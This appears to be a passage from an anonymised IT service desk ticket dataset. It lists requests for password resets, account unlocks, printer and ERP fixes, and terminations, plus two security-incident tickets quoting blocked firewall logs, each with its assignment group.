tc19, Description: unable to connect to tc78 and tc19, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 password reset done. , Description: erp SID\_34 password reset done. , is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked., Description: account locked., is assigned to Assignment group: GRP\_34.Ticket with Short description: password is not getting synchronized., Description: password is not getting synchronized., is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passsw erp SID\_34 - user: almrgtyeiba, Description: hi team,\_x000D\_
\_x000D\_
could you please reset passw the erp SID\_34 user: almrgtyeiba (gvtbduyf gdblxiva) only erp.\_x000D\_
\_x000D\_
tnks, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to launch outlook after resetting the password, Description: unable to launch outlook after resetting the password, is assigned to Assignment group: GRP\_0.Ticket with Short description: crm plugin not responding, Description: crm plugin not responding, is assigned to Assignment group: GRP\_0.Ticket with Short description: urgent: crm mailbox is not synchronising, Description: urgent: crm mailbox is not synchronising. got a call from vitalyst. they've checked the crm sync settings and say that everything is in order. however, the crm mailbox is not synching. not accepting the username password too.\_x000D\_
\_x000D\_
phone: 214 70sartlgeo lhqksbdx617, is assigned to Assignment group: GRP\_40.Ticket with Short description: printer problem / issue information, Description: please complete all required questions below. \_x000D\_
if not, it will be returned back to the gsc / requester to provide required information\_x000D\_
\_x000D\_
â€¢ gsc to review ticket, if not able to resolve then please assign to appropriate group per your printer problem assignment flowchart.\_x000D\_
\_x000D\_
â€¢ printer name / make - model? hr14 on HostName\_769\_x000D\_
\_x000D\_
â€¢ detailed description of the problem ? keeps asking for a driver install but will not install driver update\_x000D\_
\_x000D\_
â€¢ type of documents not printing? all tried\_x000D\_
\_x000D\_
\_x000D\_
â€¢ what system or application being used at time of the problem? windows\_x000D\_
\_x000D\_
â€¢ if not printing at all, does it respond to a ping command on the network and has a power cycle of the printer been completed? turned off and on printer\_x000D\_
\_x000D\_
â€¢ if erp system, which system? (ex SID\_34 / SID\_38 / hrp / plm)\_x000D\_
\_x000D\_
â€¢ if it's an erp printer problem can the erp output be rerouted to another erp printer temporarily?\_x000D\_
what printer can it be rerouted too? \_x000D\_
\_x000D\_
â€¢ if document is not printing correctly, please scan copy of the document and attach to the ticketing\_tool ticket., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to get the crm app on outlook, Description: unable to get the crm app on outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: termination for user lisfgta geitrhybler, Description: termination for user lisfgta geitrhybler
hello ,
a kÃ¼ndigung for liuytre geiÃŸler, 2111761255, effective 16.09.2016 has been approved.
click the link to view.
, is assigned to Assignment group: GRP\_2.Ticket with Short description: pls reset windows password for user vvkertgipn, Description: pls reset windows password for user vvkertgipn, is assigned to Assignment group: GRP\_0.Ticket with Short description: call for ecwtrjnq jpecxuty, Description: call for ecwtrjnq jpecxuty, is assigned to Assignment group: GRP\_0.Ticket with Short description: employee termination foulgnmdia pgsqwrumh langmar, Description: hello ,
a kÃ¼ndigung foulgnmdia pgsqwrumh langmar, 2111451235, effective 26.08.2016 has been approved.
click the link to view
, is assigned to Assignment group: GRP\_2.Ticket with Short description: unable to sign in to vpn, Description: unable to sign in to vpn, is assigned to Assignment group: GRP\_0.Ticket with Short description: probleme bei der projekt eingabe im collaboration\_platform / infopath, Description: dear it,\_x000D\_
\_x000D\_
still some issues with the tracker even with your message in collaboration\_tool etc.\_x000D\_
\_x000D\_
jertyur can difozlav dgbfptos make a ticket and contact you or some other person?\_x000D\_
\_x000D\_
they cannot enter any projects.\_x000D\_
\_x000D\_
please let us know.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
--\_x000D\_
mit freundlichen grÃ¼ÃŸen/ best , is assigned to Assignment group: GRP\_0.Ticket with Short description: lean tracker problems, Description: hello it helpdesk,\_x000D\_
\_x000D\_
good morning.\_x000D\_
i am not able to add new project into collaboration\_platform lean tracker (contacting you, the helpdesk as per instruction from below mail). \_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: inc1553541 - ticket update, Description: inc1553541 - ticket update, is assigned to Assignment group: GRP\_0.Ticket with Short description: procenter login credential for new joiner, Description: please create procenter login credential for below new joiners.
name:keyhuerthi vtyr
user id:reddatrhykv
, is assigned to Assignment group: GRP\_37.Ticket with Short description: access to teams drive - folder sox self-assessments - user priflhtret, Description: need access to folder sox self-assessments for quaterly sox requests\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_34.Ticket with Short description: job bk\_hana\_SID\_22\_arc\_dp failed in job\_scheduler at: 09/27/2016 06:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bk\_hana\_SID\_22\_arc\_dp failed in job\_scheduler at: 09/27/2016 06:02:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: r3ad hr queues stuck in SID\_39 - 21k entries, Description: hr employee data is not replicated - got stuck in SID\_39, is assigned to Assignment group: GRP\_15.Ticket with Short description: probleme mit druecker mp16, Description: probleme mit druecker mp16\_x000D\_
\_x000D\_
fehlermeldung: "transport einheit fehlt, oder motor fehler aufgetreten\_x000D\_
das ist eine leasing druecker., is assigned to Assignment group: GRP\_33.Ticket with Short description: unable to login to erp, Description: misplaced password, is assigned to Assignment group: GRP\_0.Ticket with Short description: security incidents - ( #in33976733) : suspicious ms-rpc/ms-ds/netbios activity - android-ba50a4497de455a, Description: source ip: 10.16.90.249\_x000D\_
source hostname: android-ba50a4497de455a\_x000D\_
source port: 55198\_x000D\_
source mac address: 50:2e:5c:f0:f6:98\_x000D\_
system name :\_x000D\_
user name:\_x000D\_
location :\_x000D\_
sep , sms status :\_x000D\_
field sales user ( yes / no) : \_x000D\_
dsw event log:\_x000D\_
-------------------------------------------------------------------------------------------------------------\_x000D\_
=========================\_x000D\_
event data\_x000D\_
=========================\_x000D\_
related events: \_x000D\_
event id: 84682727\_x000D\_
event summary: internal outbreak for 137/udp\_x000D\_
occurrence count: 505\_x000D\_
event count: 1\_x000D\_
\_x000D\_
host and connection information\_x000D\_
source ip: 10.16.90.249\_x000D\_
source hostname: android-ba50a4497de455a\_x000D\_
source port: 55198\_x000D\_
source mac address: 50:2e:5c:f0:f6:98\_x000D\_
destination hostname: [no entry]\_x000D\_
destination port: 137\_x000D\_
connection directionality: internal\_x000D\_
protocol: udp\_x000D\_
\_x000D\_
device information\_x000D\_
device ip: 80.71.06.702\_x000D\_
device name: company-european-asa.company.com-1\_x000D\_
log time: 2016-09-26 at 08:23:55 utc\_x000D\_
action: blocked\_x000D\_
cvss score: -1 \_x000D\_
\_x000D\_
scwx event processing information\_x000D\_
sherlock rule id (sle): 537074\_x000D\_
inspector rule id: 186739\_x000D\_
inspector event id: 639601949\_x000D\_
ontology id: 200020003203009162\_x000D\_
event type id: 200020003203009062\_x000D\_
agent id: 103761\_x000D\_
\_x000D\_
event detail:\_x000D\_
sep 26 08:23:55 80.71.06.702 %asa-4-106023: deny udp src inside:10.16.90.249/55198 dst noris:100.74.211.4/137 by access-group "acl\_inside" [0x30e3d92a, 0x0]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 26 04:23:54 60.43.89.120 dhcpd[23598]: dhcpack on 10.16.90.249 to 50:2e:5c:f0:f6:98 (android-ba50a4497de455a) via eth2 relay 10.16.88.2 lease-duration 691200 (renew)\_x000D\_
sep 26 08:23:55 80.71.06.702 %asa-4-106023: deny udp src inside:10.16.90.249/55198 dst noris:100.74.211.1/137 by access-group "acl\_inside" [0x30e3d92a, 0x0]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 26 04:23:54 60.43.89.120 dhcpd[23598]: dhcpack on 10.16.90.249 to 50:2e:5c:f0:f6:98 (android-ba50a4497de455a) via eth2 relay 10.16.88.2 lease-duration 691200 (renew)\_x000D\_
sep 26 08:23:55 80.71.06.702 %asa-4-106023: deny udp src inside:10.16.90.249/55198 dst noris:100.74.211.3/137 by access-group "acl\_inside" [0x30e3d92a, 0x0]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 26 04:23:54 60.43.89.120 dhcpd[23598]: dhcpack on 10.16.90.249 to 50:2e:5c:f0:f6:98 (android-ba50a4497de455a) via eth2 relay 10.16.88.2 lease-duration 691200 (renew)\_x000D\_
sep 26 08:23:55 80.71.06.702 %asa-4-106023: deny udp src inside:10.16.90.249/55198 dst noris:100.74.211.5/137 by access-group "acl\_inside" [0x30e3d92a, 0x0]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 26 04:23:54 60.43.89.120 dhcpd[23598]: dhcpack on 10.16.90.249 to 50:2e:5c:f0:f6:98 (android-ba50a4497de455a) via eth2 relay 10.16.88.2 lease-duration 691200 (renew)\_x000D\_
sep 26 08:23:55 80.71.06.702 %asa-4-106023: deny udp src inside:10.16.90.249/55198 dst noris:100.74.211.6/137 by access-group "acl\_inside" [0x30e3d92a, 0x0]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 26 04:23:54 60.43.89.120 dhcpd[23598]: dhcpack on 10.16.90.249 to 50:2e:5c:f0:f6:98 (android-ba50a4497de455a) via eth2 relay 10.16.88.2 lease-duration 691200 (renew)\_x000D\_
sep 26 08:23:55 80.71.06.702 %asa-4-106023: deny udp src inside:10.16.90.249/55198 dst noris:100.74.211.7/137 by access-group "acl\_inside" [0x30e3d92a, 0x0]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 26 04:23:54 60.43.89.120 dhcpd[23598]: dhcpack on 10.16.90.249 to 50:2e:5c:f0:f6:98 (android-ba50a4497de455a) via eth2 relay 10.16.88.2 lease-duration 691200 (renew)\_x000D\_
sep 26 08:23:55 80.71.06.702 %asa-4-106023: deny udp src inside:10.16.90.249/55198 dst noris:100.74.211.8/137 by access-group "acl\_inside" [0x30e3d92a, 0x0]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 26 04:23:54 60.43.89.120 dhcpd[23598]: dhcpack on 10.16.90.249 to 50:2e:5c:f0:f6:98 (android-ba50a4497de455a) via eth2 relay 10.16.88.2 lease-duration 691200 (renew)\_x000D\_
sep 26 08:23:55 80.71.06.702 %asa-4-106023: deny udp src inside:10.16.90.249/55198 dst noris:100.74.211.2/137 by access-group "acl\_inside" [0x30e3d92a, 0x0]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 26 04:23:54 60.43.89.120 dhcpd[23598]: dhcpack on 10.16.90.249 to 50:2e:5c:f0:f6:98 (android-ba50a4497de455a) via eth2 relay 10.16.88.2 lease-duration 691200 (renew)\_x000D\_
sep 26 08:23:55 80.71.06.702 %asa-4-106023: deny udp src inside:10.16.90.249/55198 dst noris:100.74.211.10/137 by access-group "acl\_inside" [0x30e3d92a, 0x0]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 26 04:23:54 60.43.89.120 dhcpd[23598]: dhcpack on 10.16.90.249 to 50:2e:5c:f0:f6:98 (android-ba50a4497de455a) via eth2 relay 10.16.88.2 lease-duration 691200 (renew)\_x000D\_
sep 26 08:23:55 80.71.06.702 %asa-4-106023: deny udp src inside:10.16.90.249/55198 dst noris:100.74.211.11/137 by access-group "acl\_inside" [0x30e3d92a, 0x0]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 26 04:23:54 60.43.89.120 dhcpd[23598]: dhcpack on 10.16.90.249 to 50:2e:5c:f0:f6:98 (android-ba50a4497de455a) via eth2 relay 10.16.88.2 lease-duration 691200 (renew)\_x000D\_
sep 26 08:23:55 80.71.06.702 %asa-4-106023: deny udp src inside:10.16.90.249/55198 dst noris:100.74.211.13/137 by access-group "acl\_inside" [0x30e3d92a, 0x0]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 26 04:23:54 60.43.89.120 dhcpd[23598]: dhcpack on 10.16.90.249 to 50:2e:5c:f0:f6:98 (android-ba50a4497de455a) via eth2 relay 10.16.88.2 lease-duration 691200 (renew)\_x000D\_
sep 26 08:23:55 80.71.06.702 %asa-4-106023: deny udp src inside:10.16.90.249/55198 dst noris:100.74.211.15/137 by access-group "acl\_inside" [0x30e3d92a, 0x0]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 26 04:23:54 60.43.89.120 dhcpd[23598]: dhcpack on 10.16.90.249 to 50:2e:5c:f0:f6:98 (android-ba50a4497de455a) via eth2 relay 10.16.88.2 lease-duration 691200 (renew)\_x000D\_
sep 26 08:23:55 80.71.06.702 %asa-4-106023: deny udp src inside:10.16.90.249/55198 dst noris:100.74.211.16/137 by access-group "acl\_inside" [0x30e3d92a, 0x0]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 26 04:23:54 60.43.89.120 dhcpd[23598]: dhcpack on 10.16.90.249 to 50:2e:5c:f0:f6:98 (android-ba50a4497de455a) via eth2 relay 10.16.88.2 lease-duration 691200 (renew)\_x000D\_
sep 26 08:23:55 80.71.06.702 %asa-4-106023: deny udp src inside:10.16.90.249/55198 dst noris:100.74.211.9/137 by access-group "acl\_inside" [0x30e3d92a, 0x0]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 26 04:23:54 60.43.89.120 dhcpd[23598]: dhcpack on 10.16.90.249 to 50:2e:5c:f0:f6:98 (android-ba50a4497de455a) via eth2 relay 10.16.88.2 lease-duration 691200 (renew)\_x000D\_
sep 26 08:23:55 80.71.06.702 %asa-4-106023: deny udp src inside:10.16.90.249/55198 dst noris:100.74.211.12/137 by access-group "acl\_inside" [0x30e3d92a, 0x0]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 26 04:23:54 60.43.89.120 dhcpd[23598]: dhcpack on 10.16.90.249 to 50:2e:5c:f0:f6:98 (android-ba50a4497de455a) via eth2 relay 10.16.88.2 lease-duration 691200 (renew)\_x000D\_
sep 26 08:23:55 80.71.06.702 %asa-4-106023: deny udp src inside:10.16.90.249/55198 dst noris:100.74.211.14/137 by access-group "acl\_inside" [0x30e3d92a, 0x0]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 26 04:23:54 60.43.89.120 dhcpd[23598]: dhcpack on 10.16.90.249 to 50:2e:5c:f0:f6:98 (android-ba50a4497de455a) via eth2 relay 10.16.88.2 lease-duration 691200 (renew)\_x000D\_
\_x000D\_
ascii packet(s):\_x000D\_
[no entry]\_x000D\_
\_x000D\_
hex packet(s):\_x000D\_
[no entry], is assigned to Assignment group: GRP\_56.Ticket with Short description: security incidents - ( #in33984033) : internal outbreak for port 7 from awyl8911000/10.44.167.92, Description: source ip :\_x000D\_
system name :\_x000D\_
user name:\_x000D\_
location :\_x000D\_
sep , sms status :\_x000D\_
field sales user ( yes / no) : \_x000D\_
dsw event log:\_x000D\_
==================================================\_x000D\_
=========================\_x000D\_
event data\_x000D\_
=========================\_x000D\_
related events: \_x000D\_
event id: 95389376\_x000D\_
event summary: internal outbreak for 7/udp\_x000D\_
occurrence count: 254\_x000D\_
event count: 1\_x000D\_
\_x000D\_
host and connection information\_x000D\_
source ip: 10.44.167.92\_x000D\_
source hostname: awyl8911000 \_x000D\_
source port: 61814\_x000D\_
source mac address: 0a:f5:c1:ab:82:b3:00:00:00:00:00:00:00:00:00:00\_x000D\_
destination hostname:\_x000D\_
destination port: 7\_x000D\_
connection directionality: internal\_x000D\_
protocol: udp\_x000D\_
\_x000D\_
device information\_x000D\_
device ip: 54.96.80.216\_x000D\_
device name: att-apac-asa.company.com-1\_x000D\_
log time: 2016-09-27 at 04:07:44 utc\_x000D\_
action: blocked\_x000D\_
cvss score: -1 \_x000D\_
\_x000D\_
scwx event processing information\_x000D\_
sherlock rule id (sle): 575501\_x000D\_
inspector rule id: 186739\_x000D\_
inspector event id: 893515308\_x000D\_
ontology id: 200020003203009162\_x000D\_
event type id: 200020003203009062\_x000D\_
agent id: 103955\_x000D\_
\_x000D\_
event detail:\_x000D\_
sep 27 04:07:44 54.96.80.216 %asa-4-106023: deny udp src inside:10.44.167.92/61814 dst outside:192.168.0.1/7 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 27 00:07:25 46.45.62.5146 dhcpd[21574]: dhcpack on 10.44.167.92 to 0a:f5:c1:ab:82:b3:00:00:00:00:00:00:00:00:00:00 (awyl8911000) via eth2 relay 10.44.86.71 lease-duration 14400 (renew)\_x000D\_
sep 27 04:07:44 54.96.80.216 %asa-4-106023: deny udp src inside:10.44.167.92/61812 dst outside:100.87.127.110/7 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 27 00:07:25 46.45.62.5146 dhcpd[21574]: dhcpack on 10.44.167.92 to 0a:f5:c1:ab:82:b3:00:00:00:00:00:00:00:00:00:00 (awyl8911000) via eth2 relay 10.44.86.71 lease-duration 14400 (renew)\_x000D\_
sep 27 04:10:29 54.96.80.216 %asa-4-106023: deny udp src inside:10.44.167.92/57415 dst outside:192.168.0.2/7 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 27 00:07:25 46.45.62.5146 dhcpd[21574]: dhcpack on 10.44.167.92 to 0a:f5:c1:ab:82:b3:00:00:00:00:00:00:00:00:00:00 (awyl8911000) via eth2 relay 10.44.86.71 lease-duration 14400 (renew)\_x000D\_
sep 27 04:10:29 54.96.80.216 %asa-4-106023: deny udp src inside:10.44.167.92/57416 dst outside:192.168.0.3/7 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 27 00:07:25 46.45.62.5146 dhcpd[21574]: dhcpack on 10.44.167.92 to 0a:f5:c1:ab:82:b3:00:00:00:00:00:00:00:00:00:00 (awyl8911000) via eth2 relay 10.44.86.71 lease-duration 14400 (renew)\_x000D\_
sep 27 04:10:29 54.96.80.216 %asa-4-106023: deny udp src inside:10.44.167.92/57417 dst outside:192.168.0.4/7 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 27 00:07:25 46.45.62.5146 dhcpd[21574]: dhcpack on 10.44.167.92 to 0a:f5:c1:ab:82:b3:00:00:00:00:00:00:00:00:00:00 (awyl8911000) via eth2 relay 10.44.86.71 lease-duration 14400 (renew)\_x000D\_
sep 27 04:10:29 54.96.80.216 %asa-4-106023: deny udp src inside:10.44.167.92/57418 dst outside:192.168.0.5/7 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 27 00:07:25 46.45.62.5146 dhcpd[21574]: dhcpack on 10.44.167.92 to 0a:f5:c1:ab:82:b3:00:00:00:00:00:00:00:00:00:00 (awyl8911000) via eth2 relay 10.44.86.71 lease-duration 14400 (renew)\_x000D\_
sep 27 04:10:29 54.96.80.216 %asa-4-106023: deny udp src inside:10.44.167.92/57419 dst outside:192.168.0.6/7 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 27 00:07:25 46.45.62.5146 dhcpd[21574]: dhcpack on 10.44.167.92 to 0a:f5:c1:ab:82:b3:00:00:00:00:00:00:00:00:00:00 (awyl8911000) via eth2 relay 10.44.86.71 lease-duration 14400 (renew)\_x000D\_
sep 27 04:10:29 54.96.80.216 %asa-4-106023: deny udp src inside:10.44.167.92/57420 dst outside:192.168.0.7/7 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 27 00:07:25 46.45.62.5146 dhcpd[21574]: dhcpack on 10.44.167.92 to 0a:f5:c1:ab:82:b3:00:00:00:00:00:00:00:00:00:00 (awyl8911000) via eth2 relay 10.44.86.71 lease-duration 14400 (renew)\_x000D\_
sep 27 04:10:29 54.96.80.216 %asa-4-106023: deny udp src inside:10.44.167.92/57421 dst outside:192.168.0.8/7 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 27 00:07:25 46.45.62.5146 dhcpd[21574]: dhcpack on 10.44.167.92 to 0a:f5:c1:ab:82:b3:00:00:00:00:00:00:00:00:00:00 (awyl8911000) via eth2 relay 10.44.86.71 lease-duration 14400 (renew)\_x000D\_
sep 27 04:10:29 54.96.80.216 %asa-4-106023: deny udp src inside:10.44.167.92/57422 dst outside:37.07.71.825/7 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 27 00:07:25 46.45.62.5146 dhcpd[21574]: dhcpack on 10.44.167.92 to 0a:f5:c1:ab:82:b3:00:00:00:00:00:00:00:00:00:00 (awyl8911000) via eth2 relay 10.44.86.71 lease-duration 14400 (renew)\_x000D\_
sep 27 04:10:29 54.96.80.216 %asa-4-106023: deny udp src inside:10.44.167.92/57423 dst outside:192.168.0.10/7 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 27 00:07:25 46.45.62.5146 dhcpd[21574]: dhcpack on 10.44.167.92 to 0a:f5:c1:ab:82:b3:00:00:00:00:00:00:00:00:00:00 (awyl8911000) via eth2 relay 10.44.86.71 lease-duration 14400 (renew)\_x000D\_
sep 27 04:10:29 54.96.80.216 %asa-4-106023: deny udp src inside:10.44.167.92/57424 dst outside:192.168.0.11/7 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 27 00:07:25 46.45.62.5146 dhcpd[21574]: dhcpack on 10.44.167.92 to 0a:f5:c1:ab:82:b3:00:00:00:00:00:00:00:00:00:00 (awyl8911000) via eth2 relay 10.44.86.71 lease-duration 14400 (renew)\_x000D\_
sep 27 04:10:29 54.96.80.216 %asa-4-106023: deny udp src inside:10.44.167.92/57425 dst outside:51.64.73.461/7 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 27 00:07:25 46.45.62.5146 dhcpd[21574]: dhcpack on 10.44.167.92 to 0a:f5:c1:ab:82:b3:00:00:00:00:00:00:00:00:00:00 (awyl8911000) via eth2 relay 10.44.86.71 lease-duration 14400 (renew)\_x000D\_
sep 27 04:10:29 54.96.80.216 %asa-4-106023: deny udp src inside:10.44.167.92/57426 dst outside:192.168.0.13/7 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 27 00:07:25 46.45.62.5146 dhcpd[21574]: dhcpack on 10.44.167.92 to 0a:f5:c1:ab:82:b3:00:00:00:00:00:00:00:00:00:00 (awyl8911000) via eth2 relay 10.44.86.71 lease-duration 14400 (renew)\_x000D\_
sep 27 04:10:29 54.96.80.216 %asa-4-106023: deny udp src inside:10.44.167.92/57427 dst outside:192.168.0.14/7 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 27 00:07:25 46.45.62.5146 dhcpd[21574]: dhcpack on 10.44.167.92 to 0a:f5:c1:ab:82:b3:00:00:00:00:00:00:00:00:00:00 (awyl8911000) via eth2 relay 10.44.86.71 lease-duration 14400 (renew)\_x000D\_
sep 27 04:10:29 54.96.80.216 %asa-4-106023: deny udp src inside:10.44.167.92/57428 dst outside:192.168.0.15/7 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 27 00:07:25 46.45.62.5146 dhcpd[21574]: dhcpack on 10.44.167.92 to 0a:f5:c1:ab:82:b3:00:00:00:00:00:00:00:00:00:00 (awyl8911000) via eth2 relay 10.44.86.71 lease-duration 14400 (renew)\_x000D\_
\_x000D\_
ascii packet(s):\_x000D\_
\_x000D\_
\_x000D\_
hex packet(s):, is assigned to Assignment group: GRP\_19.Ticket with Short description: kfdyzexr hnbetvfk : password reset, Description: kfdyzexr hnbetvfk : password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to create delivery, Description: please provide the following:\_x000D\_
\_x000D\_
what order number? 35066374/000030\_x000D\_
\_x000D\_
what material or item number? 7415836\_x000D\_
\_x000D\_
what warehouse location? plant\_69\_x000D\_
\_x000D\_
issue description / error message? create delivery not allowed (sys. status exls, object vb0035066374000030), is assigned to Assignment group: GRP\_6.Ticket with Short description: mobile device activation , Description: mobile device activation , is assigned to Assignment group: GRP\_0.Ticket with Short description: po language is incorrect-po#4505652547, Description: from: xjvubmlq vyamhjip \_x000D\_
sent: tuesday, september 27, 2016 10:18 am\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
subject: rad:po language is incorrect-po#5616763658\_x000D\_
\_x000D\_
hello ,\_x000D\_
the po language is correct when i print output it .\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
but when i use "zz\_mails ", the po language is incorrect, could you please help to check it?\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
with best , is assigned to Assignment group: GRP\_29.Ticket with Short description: reset the password for pumjbcna scluvtyj on erp / qa / hcm, Description: hi all,
the user romertanj need their password reset.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for pumjbcna scluvtyj using password\_management\_tool password reset., Description: hi all,\_x000D\_
\_x000D\_
please, the user romertanj need their password reset.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_17.Ticket with Short description: outlook not getting connected to exchange server, Description: outlook not getting connected to exchange server, is assigned to Assignment group: GRP\_0.Ticket with Short description: urgent // price update error , Description: \_x000D\_
\_x000D\_
received from: uarnkqps.gufcjxma@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
i have to divide the quantity of the item due to partial shipment and currency issue. but while dividing item quantity and re-writing zno for currency update process, zno price is deleted.\_x000D\_
i try to enter the price again with zno however the system can't allow it and bring the new price with zcnp.\_x000D\_
\_x000D\_
so could you help me please?\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
[cid:image002.jpg@01SID\_358a8.eb5a4620]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
saygÄ±larÄ±mÄ±zla / best , is assigned to Assignment group: GRP\_13.Ticket with Short description: erp SID\_34 account locked, Description: erp SID\_34 account locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: drucker dell 1350 cnw druckt alle seiten mit grauschleiher, Description: druckt druckt alles vergraut, is assigned to Assignment group: GRP\_33.Ticket with Short description: finance\_app, Description: \_x000D\_
\_x000D\_
received from: bujiesrg.zopcrshl@gmail.com\_x000D\_
\_x000D\_
dear allï¼Œ\_x000D\_
\_x000D\_
can you help me to access below forms? , is assigned to Assignment group: GRP\_55.Ticket with Short description: password for w-lan anrgtdy bofffgtyin, Description:
received from: dubpgacz.kjzhilng@gmail.com
hello,
my college anrgtdy bofffgtyin came to germany, germany fort he work and needs to connect to w-lan.
could you please send him password for guest w-lan connetction?
anrgtdy bofffgtyin
technical programdntyme manager aerospace and defence
godjevmy.gfaevrdq@gmail.com<mailto:godjevmy.gfaevrdq@gmail.com>
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked in ad, Description: account locked in ad, is assigned to Assignment group: GRP\_0.Ticket with Short description: help to pose the 4 pos which cannot be posed by erp now, Description: when the 4 pos are posed, as the local tax law, we need choose j0 for them. however, after we choose j0 as tax code, erp shows red message like the attachments. then we make tax code empty, erp will require to place a tax code. this make us confused how to pose this 4 pos. please help to pose them. , is assigned to Assignment group: GRP\_10.Ticket with Short description: account locked in supply\_chain\_software , Description: account locked in supply\_chain\_software , is assigned to Assignment group: GRP\_0.Ticket with Short description: circuit outage:australia-dmvpn-1811-rtr02 down since 1:30 am on 9/27/2016 , Description: what type of outage: \_\_\_\_\_network \_\_\_yes\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_1:30 am on 9/27/2016 \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_\_no\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
